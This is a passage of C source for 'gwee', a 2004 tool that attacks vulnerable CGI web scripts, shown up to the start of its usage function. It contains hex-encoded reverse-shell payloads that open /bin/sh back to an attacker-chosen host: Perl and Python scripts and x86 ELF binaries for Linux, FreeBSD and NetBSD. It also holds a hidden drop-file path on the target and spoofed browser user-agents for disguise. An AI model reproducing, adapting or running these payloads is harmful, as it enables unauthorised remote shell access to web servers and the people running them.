1 /* Copyright notice:
2 *
3 * gwee - Generic Web Exploitation Engine - $Revision: 1.36 $
4 * Copyright (C) 2004 Michel Blomgren <michel@cycom.se>
5 * Perl and Python shellcode and expertise by Sabu <sabu@sentinix.org>
6 *
7 * License (MIT):
8 *
9 * Permission is hereby granted, free of charge, to any person obtaining a
10 * copy of this software and associated documentation files (the "Software"),
11 * to deal in the Software without restriction, including without limitation
12 * the rights to use, copy, modify, merge, publish, distribute, sublicense,
13 * and/or sell copies of the Software, and to permit persons to whom the
14 * Software is furnished to do so, subject to the following conditions:
15 *
16 * The above copyright notice and this permission notice shall be included in
17 * all copies or substantial portions of the Software.
18 *
19 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
20 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
21 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
22 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
23 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
24 * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
25 * DEALINGS IN THE SOFTWARE.
26 *
27 ******************************************************************************
28 *
29 * Acknowledgements: Sabu, Nullbyte, uDc, s9c!
30 *
31 ******************************************************************************
32 *
33 * Changelog:
34 * - Tue May 26 2004:
35 * Replaced ascii-encoded octal with ascii-encoded hex instead. Added
36 * sishell 0.2 (for x86 Linux, FreeBSD and NetBSD).
37 *
38 * - Mon Feb 9 2004 (1.12):
39 * Initial version,
40 *
41 ******************************************************************************
42 *
43 * Compile like this:
44 * gcc -s -O2 -o gwee gwee.c
45 *
46 * Usage:
47 * ./gwee -l my_IP_or_hostname [-p port] http://targeturl/cgi-bin/vuln.cgi
48 *
49 * Default connect-back port is 31337, change with -p yourport.
50 *
51 */
52 static unsigned char rcsid[] =
53 "$Id: gwee.c,v 1.36 2004/07/12 03:13:46 shadow Exp $";
54
55 #ifdef WIN32
56 #define __USE_WIN32_SOCKETS
57
58 #include <stdio.h>
59 #include <fcntl.h>
60 #include <io.h>
61 #include <conio.h>
62 #include <winsock.h>
63 #include <getopt.h>
64 #include <ctype.h>
65 #include <windows.h>
66 #include <process.h>
67 #else
68 #include <stdio.h>
69 #include <stdlib.h>
70 #include <sys/types.h>
71 #include <sys/stat.h>
72 #include <sys/time.h>
73 #include <sys/wait.h>
74 #include <unistd.h>
75 #include <errno.h>
76 #include <string.h>
77 #include <netdb.h>
78 #include <sys/socket.h>
79 #include <netinet/in.h>
80 #include <arpa/inet.h>
81 #include <sys/select.h>
82 #include <signal.h>
83
84 #include <ctype.h>
85
86 extern int errno;
87 extern int h_errno;
88 #endif
89
90
91 #if defined WITH_SSL
92 #include <openssl/crypto.h>
93 #include <openssl/x509.h>
94 #include <openssl/pem.h>
95 #include <openssl/evp.h>
96 #include <openssl/ssl.h>
97 #include <openssl/err.h>
98 #else
99 #warning compiling without https support, use -DWITH_SSL -lssl -lcrypto for https support.
100 #endif
101
102 #ifndef INADDR_NONE
103 #define INADDR_NONE 0xffffffff
104 #endif
105
106 extern char *optarg;
107 extern int optind, opterr, optopt;
108
109 /* default port that shellcode will connect back to */
110 #define DEFBACKPORT 31337
111
112 /*** global variables ************************************************/
113
114 /* the -y -z option combo... */
115 char *y_opt = "";
116 char *z_opt = "";
117
118 /* TMPFILE is the filename of the shellcode on the target box */
119 char *TMPFILE = "/var/tmp/.vetx.95";
120
121 char *user_agent = NULL;
122
123 char *wgeturl = NULL;
124 char *dumpout = NULL;
125
126 char *url = NULL;
127 unsigned int httpget = 0,
128 remove_sploit = 0,
129 force = 0,
130 shellcode = 0,
131 injection_method = 0,
132 verbose = 0,
133 silent = 0,
134 builtin_listener = 0,
135 timeout = 30,
136 only_listen = 0,
137 dowipeout = 1,
138 i;
139
140 #ifdef WIN32
141 int pongsilent = 0;
142 #endif
143
144 /* these variables are only used when httpget == 1 */
145 char httpmethod_get[] = "GET";
146 char httpmethod_head[] = "HEAD";
147 char *httpmethod = httpmethod_get;
148
149 /* buffers and temporary variables */
150 char buf[4096];
151 char buf2[4096];
152
153 char *tempmem1;
154 char *tempmem2;
155 char *tempmem3;
156 char *tempmem4;
157
158 char *shellcode_split1;
159 char *shellcode_split2;
160 char *shellcode_split3;
161 char *shellcode_split4;
162
163
164 uint32_t binary_ip;
165 uint32_t xored_ip;
166 char ascii_ip[16];
167
168 char *listen_server = NULL;
169 uint16_t lport = DEFBACKPORT;
170 uint16_t sourceport = 0;
171
172 char *shellcode_p = NULL;
173 char *imprefix = "";
174
175 struct hostent *he;
176
177 char piece1_text[] = "[+] injecting shellcode piece 1/4";
178 char piece2_text[] = "[+] injecting shellcode piece 2/4";
179 char piece3_text[] = "[+] injecting shellcode piece 3/4";
180 char piece4_text[] = "[+] injecting shellcode piece 4/4";
181
182 /* if with OpenSSL support (for https) add these... */
183 #if defined(WITH_SSL)
184 SSL_METHOD *sslmethod;
185 SSL_CTX *sslctx;
186 SSL *ssl;
187 X509 *peer_cert;
188 #endif
189
190
191 /*** injection methods ***********************************************/
192
193 #define IM_PERL 0
194 #define IM_PYTHON 1
195 #define IM_PRINTF 2
196 #define IM_ECHO 3
197
198 /*** shellcode *******************************************************/
199
200 #define SABUSHELL_PERL 0
201 #define LINUX_SISHELL 1
202 #define FREEBSD_SISHELL 2
203 #define NETBSD_SISHELL 3
204 #define SABUSHELL_PYTHON 4
205
206 #define XOR 0xffffffff
207
208 /* Sabu's reverse Perl shellcode */
209 unsigned char sabushell_perl[] =
210 "\\x23\\x21\\x2f\\x75\\x73\\x72\\x2f\\x62\\x69\\x6e\\x2f\\x70"
211 "\\x65\\x72\\x6c\\x0a\\x75\\x73\\x65\\x20\\x53\\x6f\\x63\\x6b"
212 "\\x65\\x74\\x3b\\x20\\x75\\x73\\x65\\x20\\x49\\x4f\\x3a\\x3a"
213 "\\x48\\x61\\x6e\\x64\\x6c\\x65\\x3b\\x20\\x75\\x73\\x65\\x20"
214 "\\x50\\x4f\\x53\\x49\\x58\\x3b\\x20\\x24\\x70\\x72\\x6f\\x74"
215 "\\x6f\\x20\\x3d\\x20\\x67\\x65\\x74\\x70\\x72\\x6f\\x74\\x6f"
216 "\\x62\\x79\\x6e\\x61\\x6d\\x65\\x28\\x27\\x74\\x63\\x70\\x27"
217 "\\x29\\x3b\\x20\\x73\\x6f\\x63\\x6b\\x65\\x74\\x28\\x53\\x6f"
218 "\\x63\\x6b\\x65\\x74\\x5f\\x48\\x61\\x6e\\x64\\x6c\\x65\\x2c"
219 "\\x20\\x41\\x46\\x5f\\x49\\x4e\\x45\\x54\\x2c\\x20\\x53\\x4f"
220 "\\x43\\x4b\\x5f\\x53\\x54\\x52\\x45\\x41\\x4d\\x2c\\x20\\x24"
221 "\\x70\\x72\\x6f\\x74\\x6f\\x29\\x3b\\x20\\x24\\x73\\x69\\x6e"
222 "\\x20\\x3d\\x20\\x73\\x6f\\x63\\x6b\\x61\\x64\\x64\\x72\\x5f"
223 "\\x69\\x6e\\x28\\x37\\x37\\x30\\x30\\x20\\x2c\\x69\\x6e\\x65"
224 "\\x74\\x5f\\x61\\x74\\x6f\\x6e\\x28\\x22\\x31\\x32\\x37\\x2e"
225 "\\x30\\x2e\\x30\\x2e\\x31\\x22\\x20\\x20\\x20\\x20\\x20\\x20"
226 "\\x29\\x29\\x3b\\x20\\x63\\x6f\\x6e\\x6e\\x65\\x63\\x74\\x28"
227 "\\x53\\x6f\\x63\\x6b\\x65\\x74\\x5f\\x48\\x61\\x6e\\x64\\x6c"
228 "\\x65\\x2c\\x24\\x73\\x69\\x6e\\x29\\x3b\\x20\\x64\\x75\\x70"
229 "\\x32\\x28\\x53\\x6f\\x63\\x6b\\x65\\x74\\x5f\\x48\\x61\\x6e"
230 "\\x64\\x6c\\x65\\x2d\\x3e\\x66\\x69\\x6c\\x65\\x6e\\x6f\\x2c"
231 "\\x20\\x30\\x29\\x3b\\x20\\x64\\x75\\x70\\x32\\x28\\x53\\x6f"
232 "\\x63\\x6b\\x65\\x74\\x5f\\x48\\x61\\x6e\\x64\\x6c\\x65\\x2d"
233 "\\x3e\\x66\\x69\\x6c\\x65\\x6e\\x6f\\x2c\\x20\\x31\\x29\\x3b"
234 "\\x20\\x64\\x75\\x70\\x32\\x28\\x53\\x6f\\x63\\x6b\\x65\\x74"
235 "\\x5f\\x48\\x61\\x6e\\x64\\x6c\\x65\\x2d\\x3e\\x66\\x69\\x6c"
236 "\\x65\\x6e\\x6f\\x2c\\x20\\x32\\x29\\x3b\\x20\\x65\\x78\\x65"
237 "\\x63\\x20\\x7b\\x20\\x22\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68"
238 "\\x22\\x20\\x7d\\x20\\x22\\x22\\x3b\\x0a";
239 #define sabushell_perl_ip_offset 700
240 #define sabushell_perl_ipbuf_len 17
241 #define sabushell_perl_port_offset 636
242 #define sabushell_perl_portbuf_len 5
243
244
245 /* Shadowinteger's reverse shellcode,
246 * hardcoded (no arguments) x86 linux binary (elf) */
247 unsigned char linux_sishell[] = /* Shadowinteger's sishell 0.2 */
248 "\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x03\\x00\\x00\\x00\\x00"
249 "\\x00\\x00\\x00\\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x00\\x00"
250 "\\x80\\x80\\x04\\x08\\x34\\x00\\x00\\x00\\x44\\x01\\x00\\x00"
251 "\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x01\\x00\\x28\\x00"
252 "\\x03\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
253 "\\x00\\x80\\x04\\x08\\x00\\x80\\x04\\x08\\x32\\x01\\x00\\x00"
254 "\\x32\\x01\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x10\\x00\\x00"
255 "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
256 "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
257 "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
258 "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8b\\x04\\x24\\x40"
259 "\\x40\\x8d\\x1c\\x84\\x89\\xdd\\x6a\\x06\\x6a\\x01\\x6a\\x02"
260 "\\x8d\\x1c\\x24\\x89\\xd9\\x31\\xdb\\xb3\\x01\\x31\\xc0\\xb0"
261 "\\x66\\xcd\\x80\\x89\\xc7\\x83\\xec\\x08\\x31\\xc9\\xc6\\x04"
262 "\\x24\\x02\\x88\\x4c\\x24\\x01\\xb8\\x80\\xff\\xff\\xfe\\x35"
263 "\\xff\\xff\\xff\\xff\\x66\\xc7\\x44\\x24\\x02\\x7a\\x69\\x89"
264 "\\x44\\x24\\x04\\x8d\\x04\\x24\\x83\\xec\\x10\\x89\\x3c\\x24"
265 "\\x89\\x44\\x24\\x04\\x31\\xc0\\xb0\\x10\\x89\\x44\\x24\\x08"
266 "\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x03\\x8d\\x14\\x24\\x89"
267 "\\xd1\\xcd\\x80\\x85\\xc0\\x78\\x38\\x31\\xc9\\x31\\xc0\\xb0"
268 "\\x3f\\x89\\xfb\\xcd\\x80\\x41\\x80\\xf9\\x02\\x76\\xf2\\x83"
269 "\\xec\\x10\\x8d\\x44\\x24\\x08\\x89\\x04\\x24\\x31\\xdb\\x89"
270 "\\x5c\\x24\\x04\\x89\\x5c\\x24\\x08\\xbb\\x2a\\x81\\x04\\x08"
271 "\\x8d\\x14\\x24\\x89\\xd1\\x89\\xea\\x31\\xc0\\xb0\\x0e\\x2c"
272 "\\x03\\xcd\\x80\\x31\\xc0\\x89\\xc3\\x40\\xcd\\x80\\x2f\\x62"
273 "\\x69\\x6e\\x2f\\x73\\x68\\x00\\x00\\x2e\\x73\\x68\\x73\\x74"
274 "\\x72\\x74\\x61\\x62\\x00\\x2e\\x74\\x65\\x78\\x74\\x00\\x00"
275 "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
276 "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
277 "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
278 "\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\x01\\x00\\x00\\x00"
279 "\\x06\\x00\\x00\\x00\\x80\\x80\\x04\\x08\\x80\\x00\\x00\\x00"
280 "\\xb2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
281 "\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00"
282 "\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
283 "\\x32\\x01\\x00\\x00\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
284 "\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00";
285 #define linux_IP_OFFSET 700
286 #define linux_PORT_OFFSET 756
287
288
289 unsigned char freebsd_sishell[] = /* Shadowinteger's sishell 0.2 */
290 "\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x09\\x00\\x00\\x00\\x00"
291 "\\x00\\x00\\x00\\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x00\\x00"
292 "\\x80\\x80\\x04\\x08\\x34\\x00\\x00\\x00\\x24\\x01\\x00\\x00"
293 "\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x01\\x00\\x28\\x00"
294 "\\x03\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
295 "\\x00\\x80\\x04\\x08\\x00\\x80\\x04\\x08\\x13\\x01\\x00\\x00"
296 "\\x13\\x01\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x10\\x00\\x00"
297 "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
298 "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
299 "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
300 "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8b\\x04\\x24\\x40"
301 "\\x40\\x8d\\x1c\\x84\\x89\\xdd\\x6a\\x06\\x6a\\x01\\x6a\\x02"
302 "\\x31\\xc0\\xb0\\x61\\x50\\xcd\\x80\\x89\\xc7\\x83\\xec\\x08"
303 "\\x31\\xc9\\xc6\\x04\\x24\\x02\\x88\\x4c\\x24\\x01\\xb8\\x80"
304 "\\xff\\xff\\xfe\\x35\\xff\\xff\\xff\\xff\\x66\\xc7\\x44\\x24"
305 "\\x02\\x7a\\x69\\x89\\x44\\x24\\x04\\x8d\\x04\\x24\\x6a\\x10"
306 "\\x50\\x57\\x31\\xc0\\xb0\\x62\\x50\\xcd\\x80\\x72\\x38\\x31"
307 "\\xc9\\x51\\x57\\x31\\xc0\\xb0\\x5a\\x50\\xcd\\x80\\x41\\x80"
308 "\\xf9\\x02\\x76\\xf1\\x83\\xec\\x10\\x8d\\x44\\x24\\x08\\x89"
309 "\\x04\\x24\\x31\\xdb\\x89\\x5c\\x24\\x04\\x89\\x5c\\x24\\x08"
310 "\\x8d\\x14\\x24\\x89\\xd1\\x55\\x51\\x68\\x0b\\x81\\x04\\x08"
311 "\\x31\\xc0\\xb0\\x3b\\x50\\xcd\\x80\\x31\\xc0\\x50\\xfe\\xc0"
312 "\\x50\\xcd\\x80\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\\x00"
313 "\\x2e\\x73\\x68\\x73\\x74\\x72\\x74\\x61\\x62\\x00\\x2e\\x74"
314 "\\x65\\x78\\x74\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
315 "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
316 "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
317 "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00"
318 "\\x01\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x80\\x80\\x04\\x08"
319 "\\x80\\x00\\x00\\x00\\x93\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
320 "\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
321 "\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
322 "\\x00\\x00\\x00\\x00\\x13\\x01\\x00\\x00\\x11\\x00\\x00\\x00"
323 "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00"
324 "\\x00\\x00\\x00\\x00";
325 #define freebsd_IP_OFFSET 668
326 #define freebsd_PORT_OFFSET 724
327
328
329 unsigned char netbsd_sishell[] = /* Shadowinteger's sishell 0.2 */
330 "\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x02\\x00\\x00\\x00\\x00"
331 "\\x00\\x00\\x00\\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x00\\x00"
332 "\\xb0\\x80\\x04\\x08\\x34\\x00\\x00\\x00\\x68\\x01\\x00\\x00"
333 "\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x02\\x00\\x28\\x00"
334 "\\x04\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
335 "\\x00\\x80\\x04\\x08\\x00\\x80\\x04\\x08\\x43\\x01\\x00\\x00"
336 "\\x43\\x01\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x10\\x00\\x00"
337 "\\x04\\x00\\x00\\x00\\x94\\x00\\x00\\x00\\x94\\x80\\x04\\x08"
338 "\\x94\\x80\\x04\\x08\\x18\\x00\\x00\\x00\\x18\\x00\\x00\\x00"
339 "\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
340 "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
341 "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
342 "\\x00\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x04\\x00\\x00\\x00"
343 "\\x01\\x00\\x00\\x00\\x4e\\x65\\x74\\x42\\x53\\x44\\x00\\x00"
344 "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8b\\x04\\x24\\x40"
345 "\\x40\\x8d\\x1c\\x84\\x89\\xdd\\x6a\\x06\\x6a\\x01\\x6a\\x02"
346 "\\x31\\xc0\\xb0\\x61\\x50\\xcd\\x80\\x89\\xc7\\x83\\xec\\x08"
347 "\\x31\\xc9\\xc6\\x04\\x24\\x02\\x88\\x4c\\x24\\x01\\xb8\\x80"
348 "\\xff\\xff\\xfe\\x35\\xff\\xff\\xff\\xff\\x66\\xc7\\x44\\x24"
349 "\\x02\\x7a\\x69\\x89\\x44\\x24\\x04\\x8d\\x04\\x24\\x6a\\x10"
350 "\\x50\\x57\\x31\\xc0\\xb0\\x62\\x50\\xcd\\x80\\x72\\x38\\x31"
351 "\\xc9\\x51\\x57\\x31\\xc0\\xb0\\x5a\\x50\\xcd\\x80\\x41\\x80"
352 "\\xf9\\x02\\x76\\xf1\\x83\\xec\\x10\\x8d\\x44\\x24\\x08\\x89"
353 "\\x04\\x24\\x31\\xdb\\x89\\x5c\\x24\\x04\\x89\\x5c\\x24\\x08"
354 "\\x8d\\x14\\x24\\x89\\xd1\\x55\\x51\\x68\\x3b\\x81\\x04\\x08"
355 "\\x31\\xc0\\xb0\\x3b\\x50\\xcd\\x80\\x31\\xc0\\x50\\xfe\\xc0"
356 "\\x50\\xcd\\x80\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\\x00"
357 "\\x2e\\x73\\x68\\x73\\x74\\x72\\x74\\x61\\x62\\x00\\x2e\\x74"
358 "\\x65\\x78\\x74\\x00\\x2e\\x6e\\x6f\\x74\\x65\\x2e\\x6e\\x65"
359 "\\x74\\x62\\x73\\x64\\x2e\\x69\\x64\\x65\\x6e\\x74\\x00\\x00"
360 "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
361 "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
362 "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
363 "\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\x01\\x00\\x00\\x00"
364 "\\x06\\x00\\x00\\x00\\xb0\\x80\\x04\\x08\\xb0\\x00\\x00\\x00"
365 "\\x93\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
366 "\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00"
367 "\\x07\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x94\\x80\\x04\\x08"
368 "\\x94\\x00\\x00\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
369 "\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
370 "\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
371 "\\x00\\x00\\x00\\x00\\x43\\x01\\x00\\x00\\x24\\x00\\x00\\x00"
372 "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00"
373 "\\x00\\x00\\x00\\x00";
374 #define netbsd_IP_OFFSET 860
375 #define netbsd_PORT_OFFSET 916
376
377
378 /* Sabu's uber sexy python reverse (connecting) shellcode */
379 unsigned char sabushell_python[] =
380 "\\x23\\x21\\x2f\\x75\\x73\\x72\\x2f\\x62\\x69\\x6e\\x2f\\x65"
381 "\\x6e\\x76\\x20\\x70\\x79\\x74\\x68\\x6f\\x6e\\x0a\\x73\\x3d"
382 "\\x5f\\x5f\\x69\\x6d\\x70\\x6f\\x72\\x74\\x5f\\x5f\\x28\\x27"
383 "\\x73\\x6f\\x63\\x6b\\x65\\x74\\x27\\x29\\x2e\\x73\\x6f\\x63"
384 "\\x6b\\x65\\x74\\x28\\x5f\\x5f\\x69\\x6d\\x70\\x6f\\x72\\x74"
385 "\\x5f\\x5f\\x28\\x27\\x73\\x6f\\x63\\x6b\\x65\\x74\\x27\\x29"
386 "\\x2e\\x41\\x46\\x5f\\x49\\x4e\\x45\\x54\\x2c\\x5f\\x5f\\x69"
387 "\\x6d\\x70\\x6f\\x72\\x74\\x5f\\x5f\\x28\\x27\\x73\\x6f\\x63"
388 "\\x6b\\x65\\x74\\x27\\x29\\x2e\\x53\\x4f\\x43\\x4b\\x5f\\x53"
389 "\\x54\\x52\\x45\\x41\\x4d\\x29\\x3b\\x73\\x2e\\x63\\x6f\\x6e"
390 "\\x6e\\x65\\x63\\x74\\x28\\x28\\x27\\x31\\x32\\x37\\x2e\\x30"
391 "\\x2e\\x30\\x2e\\x31\\x27\\x2c\\x37\\x37\\x30\\x30\\x20\\x20"
392 "\\x20\\x20\\x20\\x20\\x20\\x29\\x29\\x3b\\x5f\\x5f\\x69\\x6d"
393 "\\x70\\x6f\\x72\\x74\\x5f\\x5f\\x28\\x27\\x6f\\x73\\x27\\x29"
394 "\\x2e\\x64\\x75\\x70\\x32\\x28\\x73\\x2e\\x66\\x69\\x6c\\x65"
395 "\\x6e\\x6f\\x28\\x29\\x2c\\x30\\x29\\x3b\\x5f\\x5f\\x69\\x6d"
396 "\\x70\\x6f\\x72\\x74\\x5f\\x5f\\x28\\x27\\x6f\\x73\\x27\\x29"
397 "\\x2e\\x64\\x75\\x70\\x32\\x28\\x73\\x2e\\x66\\x69\\x6c\\x65"
398 "\\x6e\\x6f\\x28\\x29\\x2c\\x31\\x29\\x3b\\x5f\\x5f\\x69\\x6d"
399 "\\x70\\x6f\\x72\\x74\\x5f\\x5f\\x28\\x27\\x6f\\x73\\x27\\x29"
400 "\\x2e\\x64\\x75\\x70\\x32\\x28\\x73\\x2e\\x66\\x69\\x6c\\x65"
401 "\\x6e\\x6f\\x28\\x29\\x2c\\x32\\x29\\x3b\\x5f\\x5f\\x69\\x6d"
402 "\\x70\\x6f\\x72\\x74\\x5f\\x5f\\x28\\x27\\x6f\\x73\\x27\\x29"
403 "\\x2e\\x65\\x78\\x65\\x63\\x6c\\x28\\x27\\x2f\\x62\\x69\\x6e"
404 "\\x2f\\x73\\x68\\x27\\x2c\\x27\\x27\\x29\\x0a";
405 #define sabushell_python_ip_offset 504
406 #define sabushell_python_ipbuf_len 23
407
408
409 /* user-agents to mask as */
410 char *agents[] = { (char *) "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)",
411 (char *) "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
412 (char *) "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007 Firebird/0.7",
413 (char *) "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)",
414 (char *) "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)",
415 (char *) "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1",
416 (char *) "Mozilla/5.0 (Windows; U; Win 9x 4.90; fr-FR; rv:1.5) Gecko/20031007",
417 (char *) "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040115",
418 (char *) "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
419 (char *) "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.20 [en]",
420 (char *) "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7b) Gecko/20040421 Galeon/1.3.14",
421 (char *) "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.23 [pl]",
422 (char *) "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6b) Gecko/20031217 Firebird/0.7+",
423 (char *) "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)",
424 (char *) "Mozilla/5.0 (compatible; Konqueror/3.1; Linux)",
425 (char *) "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20030925",
426 (char *) "Mozilla/5.0 (X11; U; Linux i686) Gecko/20031119 Galeon/1.3.7",
427 (char *) "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)",
428 (char *) "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01",
429 (char *) "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02",
430 (char *) "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Avant Browser [avantbrowser.com]; MyIE2; .NET CLR 1.1.4322)",
431 (char *) "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; H010818; FunWebProducts-MyWay)",
432 (char *) "Mozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; Q312461)",
433 (char *) "Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.6) Gecko/20040206 Firefox/0.8",
434 (char *) "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040116 MultiZilla/1.6.3.1d"
435 };
436 unsigned int number_of_agents = sizeof(agents)/sizeof(char *);
437
438
439 /*** functions *******************************************************/
440
441 /*
442 * get_revision() - extracts the revision number from a RCS Id string
443 */
get_revision(unsigned char * string)444 unsigned char *get_revision(unsigned char *string) {
445 /*
446 * input string is an RCS Id keyword
447 */
448 char Id_string[] = "$Id: ";
449 char *idstart;
450 static unsigned char revision[16];
451 int a, x, column_counter;
452
453 if (!(idstart = strstr(string, Id_string))) {
454 return NULL;
455 }
456
457 idstart += strlen(Id_string);
458
459 column_counter = 1;
460 x = 0;
461 for (a = 0; x < (sizeof(revision)-1); a++) {
462 if (idstart[a] == 0)
463 return NULL;
464
465 if (column_counter < 2) {
466 if (idstart[a] == 0x20)
467 column_counter++;
468 } else { /* column 2 is the rcs revision number */
469 if (((idstart[a] < '0') || (idstart[a] > '9')) && (idstart[a] != '.'))
470 break;
471 revision[x] = idstart[a];
472 x++;
473 }
474 }
475
476 revision[x] = 0;
477 return revision;
478 }
479
480
481
usage(void)482 void usage(void) {
483 printf("gwee %s - generic web exploitation engine\n"
484 "Copyright (C) 2004 Michel Blomgren <michel@cycom.se>\n"
485 "Perl and Python shellcode and expertise by Sabu -> http://sabu.net\n"
486 "%s\n"
487 "\n"
488 "Permission is hereby granted, free of charge, to any person obtaining a copy\n"
489 "of this software and associated documentation files (the \"Software\"), to deal\n"
490 "in the Software without restriction, including without limitation the rights\n"
491 "to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n"
492 "copies of the Software, and to permit persons to whom the Software is\n"
493 "furnished to do so, subject to the following conditions:\n"
494 "\n"
495 "The above copyright notice and this permission notice shall be included in all\n"
496 "copies or substantial portions of the Software.\n"
497 "\n"
